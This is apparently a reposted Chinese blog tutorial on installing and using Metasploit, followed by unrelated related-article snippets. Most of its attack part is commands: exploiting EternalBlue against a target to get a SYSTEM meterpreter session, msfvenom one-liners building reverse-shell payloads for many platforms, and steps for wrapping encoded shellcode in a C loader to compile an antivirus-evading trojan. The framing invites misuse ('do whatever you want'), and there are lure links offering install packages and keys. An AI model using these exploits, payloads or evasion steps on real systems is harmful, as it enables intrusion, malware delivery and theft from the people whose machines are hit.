MSF的安装与使用教程,超详细,附安装包和密钥

news2024/11/24 0:04:18

MSF简介

Metasploit(MSF)是一个免费的、可下载的框架

它本身附带数百个已知软件漏洞,是一款专业级漏洞攻击工具。

当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了,仿佛一夜之间,任何人都可以成为黑客。
【点击此处,可领取MSF安装包和密钥以及视频教程】

因为只要掌握MSF的使用方法,每个人都可以使用MSF来攻击那些未打过补丁或者刚刚打过补丁的漏洞。
也因此软件厂商再也不能推迟发布针对已公布漏洞的补丁了,因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。

MSF安装介绍

MSF官网:https://www.metasploit.com/

MSF有两个版本,Metaploit是开源免费的,Metaploit pro的商业收费的,这里我们用免费的社区版就可以了

MSF下载地址:https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

MSF安装

【点击此处,领取完整资料,先领取资料再阅读】
(1)一键式安装
在Linux / macOS上安装Metasploit,这里有官方提供的脚本,可以一键式安装

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall

(2)手动安装
注意:如果上面方法不可行,也可以进行手动安装

Debian / Ubuntu软件包位于https://apt.metasploit.com,而CentOS / Redhat / Fedora软件包位于https://rpm.metasploit.com

ubuntu安装
从https://apt.metasploit.com/下载MSF 的deb安装包。
在终端运行:dpkg -i metasploit-framework_6.0.7+20200916102431_1rapid7-1_amd64.deb
就已经安装好了,数据库的安装看上面的步骤

Centos安装
从https://rpm.metasploit.com下载 rpm安装包
在终端运行:rpm-i metasploit-framework-6.0.7+20200916102441~1rapid7-1.el6.x86_64.rpm

安装完成

安装postgresql数据库

msf使用的是postgresql数据库,如果没有的话需要先安装

安装数据库的时候会自动创建系统用户postgres,数据库用户postgres,数据库postgres

1、apt-get install postgresql //安装postgresql数据库
2、su - postgres //切换到postgres用户
3、psql //登陆postgresql数据库,首次登陆没有密码
4、\password postgres //修改数据库用户postgres的密码
msf更新命令:

sudo msfupdate

msf使用数据库

1、msfconsole //启动msf
2、db_connect postgres:hehehe@127.0.0.1/test //用户名,密码,地址,自己随意编造的名字。
3、db_status //查看数据库连接状态
MSF的功能模块介绍
MSF所用功能主要可分为这几个模块,每个模块都有各自的功能领域,形成了渗透测试的流程

1、Auxiliary(辅助模块)
为渗透测试信息搜集提供了大量的辅助模块支持
2、Exploits(攻击模块)
利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击,从而获得对远程目标系统访问权的代码组件。
3、Payload(攻击载荷模块)
攻击成功后促使靶机运行的一段植入代码
4、Post (后渗透攻击模块)
收集更多信息或进一步访问被利用的目标系统
5、Encoders(编码模块)
将攻击载荷进行编码,来绕过防护软件拦截

MSF的基本使用方法

例如攻击永恒之蓝:

开启数据库:service postgresql start

初始化msf数据库:msfdb init
在这里插入图片描述
开启MSF:msfconsole
在这里插入图片描述
这里我们拿永恒之蓝这个漏洞进行简单的使用

首先要保证是能够访问到目标机器的,那么我们先ping一下目标机器,看网络是否连通
在这里插入图片描述
此时是连通的状态

永恒之蓝的漏洞编号:ms17-010

根据漏洞名称搜索 : search ms17_010
在这里插入图片描述

1、运用辅助模块扫描目标

设置模块:use auxiliary/scanner/smb/smb_ms17_010

查看设置:options
在这里插入图片描述
设置目标地址:set rhosts 192.168.174.129

目标端口默认是445,
如果用nmap端口扫描windows文件共享服务不是开放在445端口上面,那这里需要进行修改,set rport 目标端口

设置好了之后,run或者exploit 进行攻击
在这里插入图片描述
绿色的加号为可攻击

2、设置攻击模块对目标进行攻击

使用攻击模块:use exploit/windows/smb/ms17_010_eternalblue

查看所需设置:options
在这里插入图片描述
设置目标地址:set RHOSTS 192.168.174.129

设置目标端口:set RPORT 445

设置payload:set payload windows/x64/meterpreter/reverse_tcp

设置本地地址:set LHOST 192.168.174.192

攻击:run或者exploit
在这里插入图片描述
攻击成功,成功拿到会话

注意:存在一定机率将目标机器打成蓝屏或者重启

查看目前权限
在这里插入图片描述
系统权限,想干什么都可以了~
MSF后门生成模块
Msfvenom常用命令参数

 -l, --list <type> 
 # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, platforms, archs, encrypt, formats等等
 -p, --payload <payload> 
 # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
 --list-options 
 # 列出--payload <value> 的标准,高级和规避选项
 -f, --format <format> 
 # 指定 Payload 的输出格式(使用 --list formats 列出)
 -e, --encoder <encoder> 
 # 指定使用的 Encoder (使用 --list encoders 列出)
 --sec-name <value> 
 # 生成大型Windows二进制文件时使用的新名称。默认值:随机4个字符的字符串
 --smallest 
 # 使用所有可用的编码器生成最小的payload
 --encrypt <value> 
 # 应用于shellcode的加密或编码类型 (使用--list encrypt 列出)
 --encrypt-key <value> 
 # 用于加密的密钥
 --encrypt-iv <value> 
 # 加密的初始化向量
 -a, --arch <arch> 
 # 指定目标系统架构(使用 --list archs 列出)
 --platform <platform> 
 # 指定目标系统平台 (使用 --list platforms 列出)
 -o, --out <path> 
 # 保存payload文件
 -b, --bad-chars <list> 
 # 设置需要在 Payload 中避免出现的字符,如: '\x00\xff'
 -n, --nopsled <length> 
 # 指定 nop 在 payload 中的数量
 -s, --space <length> 
 # 设置未经编码的 Payload 的最大长度
 --encoder-space <length> 
 # 编码后的 Payload 的最大长度
 -i, --iterations <count> 
 # 设置 Payload 的编码次数
 -c, --add-code <path> 
 # 指定包含一个额外的win32 shellcode文件
 -x, --template <path> 
 # 指定一个特定的可执行文件作为模板
 -k, --keep 
 # 保护模板程序的功能,注入的payload作为一个新的进程运行
 -v, --var-name <value> 
 # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
 -t, --timeout <second> 
 # 设置从STDIN读取payload的等待时间(默认为30,0为禁用)
 -h, --help 
 # 帮助

msfvenom生成shellcode
普通生成

msfvenom -p 有效载荷 -f 输出格式 -o 输出文件
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe

编码生成

msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i编码次数 -f 输出格式 -o 输出文件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe

msfvenom —list archs #查看支持的系统架构

aarch64, armbe, armle, cbea, cbea64, cmd, dalvik, firefox, java, mips, mips64, mips64le, mipsbe, mipsle, nodejs, php, ppc, ppc64, ppc64le, ppce500v2, python, r, ruby, sparc, sparc64, tty, x64, x86, x86_64, zarch

msfvenom —list platforms #查看支持系统平台

aix, android, apple_ios, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, juniper, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, r, ruby, solaris, unifi, unix, unknown, windows

msfvenom -l payload #列出所有可用的payload

msfvenom -l formats #列出所有的输出格式

msfvenom -l encrypt #列出所有的加密方式

msfvenom -l encoders #列出所有的编码器

常见生成格式

1、 Windows

msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe

2、Linux

msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf

3、Mac

msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho

4、Android

msfvenom -p android/meterpreter/reverse_tcp -o payload.apk

5、Aspx

msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx

6、JSP

msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp

7、PHP

msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php

8、BASH

msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh

9、Python

msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py

木马如何免杀
木马绕过免杀本质上还是更改他的特征码,那么总结一下可以有

编码
加壳免杀
二次编译
分离免杀:即将ShellCode和加载器分离

目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。

第一步:安装编译软件VC++6.0
在这里插入图片描述
第二步:生成一个常见的木马

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' lhost=192.168.174.196 lport=1250 -f c

在这里插入图片描述
第三步、编译c语言为exe文件

#include "stdafx.h"
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] =
(这里放生成好的数组)
main()
{
((void(*)(void))&buf)();
}

打开vc6.0,新建一个程序
在这里插入图片描述

选择一个简单的win32程序
在这里插入图片描述
打开a.app
在这里插入图片描述
将我们的代码复制进去
在这里插入图片描述
在这里插入图片描述

编译一下,看是否有问题
在这里插入图片描述
再编译一下a.cpp
在这里插入图片描述
没有问题的话,就可以组建a.exe了,这个文件就是我们要的木马文件
在这里插入图片描述
第四步、测试是否成功

把得到的a.exe 复制到桌面,右键用360的木马云查杀功能试一下

在这里插入图片描述
在这里插入图片描述

再测试一下我们的木马是否有用,打开MSF开启监听
开启监听:msf5 > use exploit/multi/handler
设置payload,和生成的木马保持一致:set payload windows/meterpreter/reverse_tcp
设置本地地址,和木马一致:set lhost192.168.174.196
设置本地端口,和木马一致:set lport 1250

在这里插入图片描述

msf5 exploit(multi/handler) > run

在这里插入图片描述
成功拿到会话了, 证明我们的木马没啥问题~
点击此处,可领取MSF安装包以及密钥,以及更多相关问题的咨询

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1043496.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ipad触控笔有必要买原装吗?性价比触控笔排行榜

随着社会经济的发展&#xff0c;越来越多的人需要用到电容笔。国产的平替电器笔&#xff0c;与苹果原装的电容笔差别并不大&#xff0c;无论是在功能上&#xff0c;还是在触感上&#xff0c;都相差无几&#xff0c;写起字来更是行云流水&#xff0c;让我有些意外的是&#xff0…

el-upload实现复制粘贴图片

前言&#xff1a; 在之前的项目中&#xff0c;利用el-upload实现了上传图片视频的预览。项目上线后&#xff0c;经使用人员反馈&#xff0c;上传图片、视频每次要先保存到本地然后再上传&#xff0c;很是浪费时间&#xff0c;公司客服人员时间又很紧迫&#xff08;因为要响应下…

Xmake v2.8.3 发布,改进 Wasm 并支持 Xmake 源码调试

Xmake 是一个基于 Lua 的轻量级跨平台构建工具。 它非常的轻量&#xff0c;没有任何依赖&#xff0c;因为它内置了 Lua 运行时。 它使用 xmake.lua 维护项目构建&#xff0c;相比 makefile/CMakeLists.txt&#xff0c;配置语法更加简洁直观&#xff0c;对新手非常友好&#x…

描述性统计分析

前言&#xff1a; 本专栏参考教材为《SPSS22.0从入门到精通》&#xff0c;由于软件版本原因&#xff0c;部分内容有所改变&#xff0c;为适应软件版本的变化&#xff0c;特此创作此专栏便于大家学习。本专栏使用软件为&#xff1a;SPSS25.0 本专栏所有的数据文件可在个人主页—…

电脑D盘格式化会有什么影响?电脑D盘格式化了怎么恢复数据

当电脑出现问题时&#xff0c;往往会出现一些提示&#xff0c;例如提示格式化的问题&#xff0c;而最近有位小伙伴也遇到了相似的问题&#xff0c;即D盘一打开就显示格式化&#xff0c;由于不清楚D盘格式化会有什么影响&#xff0c;因此不小心进行了格式化操作&#xff0c;结果…

较真儿学源码系列-PowerJob启动流程源码分析

PowerJob版本&#xff1a;4.3.2-main。 1 简介 PowerJob是全新一代的分布式任务调度与计算框架&#xff0c;官网地址&#xff1a;http://www.powerjob.tech/。其中介绍了PowerJob的功能特点&#xff0c;以及与其他调度框架的对比&#xff0c;这里就不再赘述了。 以上是PowerJob…

基于PSO算法的功率角摆动曲线优化研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

MySQL的执行流程

在聊mysql的执行流程之前&#xff0c;咱们要先聊聊mysql的逻辑架构。 逻辑架构 可以将上图简化为下图 连接层 客服端访问mysql服务器前&#xff0c;要先和mysq建立tcp连接。经过3次握手建立连接成功后&#xff0c;mysql服务器对tcp传输过来的账号密码进行身份认证&#x…

接口测试之文件下载

在工作中对于下载接口&#xff0c;经常会有这样的疑问&#xff1a;这类接口一般功能比较稳定&#xff0c;但是又比较重要&#xff0c;需要占用回归测试时间&#xff0c;有没有可替代的方式&#xff1f; 答案肯定是有的&#xff0c;可以从接口测试/UI自动化测试介入&#xff0c;…

UE5 虚幻引擎 使用编辑器工具进行资产批处理操作 让你的工作效率指数级增长!!!

目录 0 引言1 编辑器工具蓝图1.1 介绍1.2 案例&#xff1a;批量设置静态网格体资产的LOD1.3 进阶用法 2 编辑器工具控件2.1 介绍2.2 案例&#xff1a;随机给场景中Actor添加Yaw旋转值 0 引言 官方教程视频 参考文章 参考视频 UE5提供了两种 编辑器工具 &#xff1a;编辑器工具…

Dubbo学习(二)——dubbo环境搭建

文章目录 dubbo核心简介SpringCloud与Dubbo的区别Dubbo的架构说明dubbo和Feign远程调用的差异共同点&#xff1a;区别&#xff1a; 基于 Spring Boot 开发微服务应用项目介绍1. 启动注册中心2. 新建一个spring boot项目3. 添加 Maven 依赖4. 定义服务接口5. 定义服务端的实现实…

操作系统 --- 进程的描述与控制

&#xff08;一 &#xff09;前趋图和程序的执行 前趋图 前趋图 :有向无循环图 &#xff0c;用于描述 进程之间执行的先后顺序 结点表示进程或程序段&#xff0c;有向边表示前趋关系 前驱图中是不允许有循环的&#xff0c;否则必然会产生无法实现的前驱关系。 &#xff08;二…

浙大公共管理硕士(MPA)提前批面试的题库里到底有哪些内容?

像研究生招生这样严肃的工作&#xff0c;所有的环节和程序都得有章可循&#xff01;浙大公共管理硕士&#xff08;MPA&#xff09;项目提前批面试即将在10月14日举行&#xff0c;已经通过材料审核的考生肯定很想知道面试中会遇到什么样的题目&#xff0c;专注浙大的杭州达立易考…

卤制品配送经营商城小程序的用处是什么

卤制品也是食品领域重要的分支&#xff0c;尤其对年轻人来说&#xff0c;只要干净卫生好吃价格合理&#xff0c;那复购率宣传性自是不用说&#xff0c;而随着互联网发展&#xff0c;传统线下门店也须要通过线上破解难题或进一步扩大生意。 而商城小程序无疑是商家通过线上私域…

Redis各数据类型特定的命令和用法 1.0版本

目录 一、Sring数据类型1.1 概述1.2 set/get/append/strlen命令1.3 incr/decr/incrby/decrby 命令1.4 getset命令1.5 setex命令1.6 setnx命令1.7 mset/mget/msetnx命令 二、List数据类型2.1 概述2.2 lpush/lpushx/lrange命令2.3 lpop/llen命令2.4 lrem/lset/lindex/ltrim命令2.…

信息安全:网络安全审计技术原理与应用.

信息安全&#xff1a;网络安全审计技术原理与应用. 网络安全审计是指对网络信息系统的安全相关活动信息进行获取、记录、存储、分析和利用的工作。网络安全审计的作用在千建立“事后“安全保障措施&#xff0c;保存网络安全事件及行为信息&#xff0c;为网络安全事件分析提供线…

SpringBoot之视图解析

文章目录 前言一、视图解析1.视图解析原理流程 二、模板引擎——Thymeleaf基本语法表达式字面量文本操作数学运算布尔运算比较运算条件运算特殊操作设置属性值-th:attr迭代条件运算属性优先级 提取公共页面th:insertth:replace区别 总结 前言 SpringBoot默认不支持 JSP&#x…

UE学习记录07----C++中使用事件委托

1.c定义多播委托&#xff0c;示例代码&#xff1a; #include "Delegates/Delegate.h"DECLARE_DYNAMIC_MULTICAST_DELEGATE_OneParam(FMyDelegate, UObject*, SelectAgent);/****/ UCLASS(Blueprintable, DisplayName "VM_PlaceEntity") class PR_PLACEE…

“益路同行”栏目人物专访第0001期—笨爸爸工房创始人张旭健先生

中国善网在第十届慈展会上特别推出了《益路同行》采访栏目&#xff0c;《益路同行》栏目旨在寻觅公益之路上同行者的故事&#xff0c;挖掘公益更深层次的内涵&#xff0c;探索新时代公益发展道路。希望公益企业、人物、故事被更多人看到&#xff0c;并呼吁更多人为公益做出自己…

san.js源码解读之工具(util)篇——splitStr2Obj函数

一、 源码解析 /*** 将字符串逗号切分返回对象** param {string} source 源字符串* return {Object}*/ function splitStr2Obj(source) {var result {};each( // 2source.split(,), // 1function (key) { // 3result[key] key;});return result; }把字符串通过 split 函数以…